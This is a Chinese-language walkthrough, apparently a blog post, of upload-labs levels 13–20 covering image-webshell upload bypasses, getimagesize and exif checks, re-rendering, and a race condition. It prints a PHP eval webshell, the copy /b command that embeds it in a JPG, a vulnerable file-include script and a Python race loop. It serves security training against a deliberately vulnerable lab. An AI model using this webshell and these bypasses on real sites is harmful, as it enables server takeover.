【第十三关】图片马
Ⅰ 源码分析
$file = fopen($filename, "rb"); $bin = fread($file, 2); //只读2字节 fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType;}
Ⅱ 绕过原理
利用装有一句话木马的jpg照片,绕过后台的文件验证
图片马原理
根据下图,图片马上传后需要一个解析图片的php程序,在这里我们用到include.php
header("Content-Type:text/html;charset=utf-8");$file = $_GET['file'];if(isset($file)){ include $file;}else{ show_source(__file__);}?>
在这里需要准备一些文件
一张jpg格式照片
php文件
phpinfo(); @eval($_POST['a']);?>
生成图片马 ,win10环境
copy /b shell.jpg+one.php=1.png
一个自带的文件包含脚本php(upload靶场自带include.php)1
Ⅲ 绕过过程
上传文件后,查看图片地址是否可以浏览
利用include.php 解析下图片jpg,可以发现存在phpinfo
现在就是怎么用AntSword去连接图片马
构建下蚁剑playload
http://127.0.0.1/upload-labs/include.php?file=upload/upload-20.jpg
便可以连接,查看数据
https://blog.csdn.net/qq_42311391/article/details/89477993
【第十四关】getimagesize()绕过
$types = '.jpeg|.png|.gif'; if(file_exists($filename)){ $info = getimagesize($filename); $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; }}
与第十三关不同之处在哪里?
判断文件是否在白名单内的做法不同
getimagesize是获取图片的大小,如果头文件不是图片会报错
image_type_to_extension函数:取得图像类型的文件后缀
上传后的jpg会转成jpeg
连接成功
【第十五关】突破exif_imagetype()
未解决
function isImage($filename){ //需要开启php_exif模块 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; }}
为什么要开启php_exif模块?
exif_imagetype函数的作用是什么?
直接按照十四关的图片马上传,可以吗?
不行,直接被拦截了,这里会显示一片空白
开启
【第十六关】二次渲染(未成功)
if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromjpeg($target_path); if($im == false){ $msg = "该文件不是jpg格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".jpg"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagejpeg($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; }
- imagecreatefromjpeg: 由文件或 URL 创建一个新图象
- @unlink:删除文件
- imagejpeg:以jpeg格式将图像输出
源码上讲了哪些东西?
- 我们上传一个含有一句话木马的jpg后,后台会根据这个jpg文件,重新一个jpeg
- 并删除原本的文件
- 最后移动生成的文件到对于目录里
这一关与前面几关不同在哪里?二次渲染具体表现在哪里?
二次渲染是这一关的最大特点,将上传的文件重新生成为新的文件,这很容易出现“图片马被打乱,重新生成一张普通的jpg文件”
上传前的图片马
上传后的图片马,一句话木马被消除了
有一种办法,在图片马文件中间添加一句话木马,但又不破坏文件
随便位置加入一句话,不行
试了好多次,都没成功
后面了解到了,直接将php代码段插入到一个图片里,对于jpg不太显示,jpg不稳定
【第十七关】条件竞争
Burp
AntSword
源码解析
原来上传的文件早在渲染前就上传成功了,只不过渲染成功or失败后,源文件会被删除掉。
渗透准备
四个文件:一句话木马php文件+一张jgp格式照片+包含一句话木马的jpg照片shell_jpg+.py文件
一句话木马php文件
phpinfo(); @eval($_POST['a']);?>
包含一句话木马的jpg照片shell_jpg
copy shell.php /b+ shell.jpg = 1.jpg
jpg_payload .py文件
import requestsurl1 = "http://127.0.0.1/include.php?file=./upload/1.jpg"while True: # 定义死循环 html = requests.get(url1)
开始渗透
开启jpg_payload .py脚本
python "jpg_payload .py"
上传文件,burp抓包
在Repeater上放包,并查看下后台文件
AntSword连接jpg文件,成效
后面,我尝试直接用图片马上传,发现没有二次渲染~~ ,直接用AntSword连接图片马,成功了
【第十八~二十关】
我发现用普通的图片马+自带的文件包含,就可以实现文件上传漏洞
参考下第十三关
参考链接:http://cn-sec.com/archives/1009470.html
https://blog.csdn.net/qwe304/article/details/125725280
来源地址:https://blog.csdn.net/weixin_47126666/article/details/129007457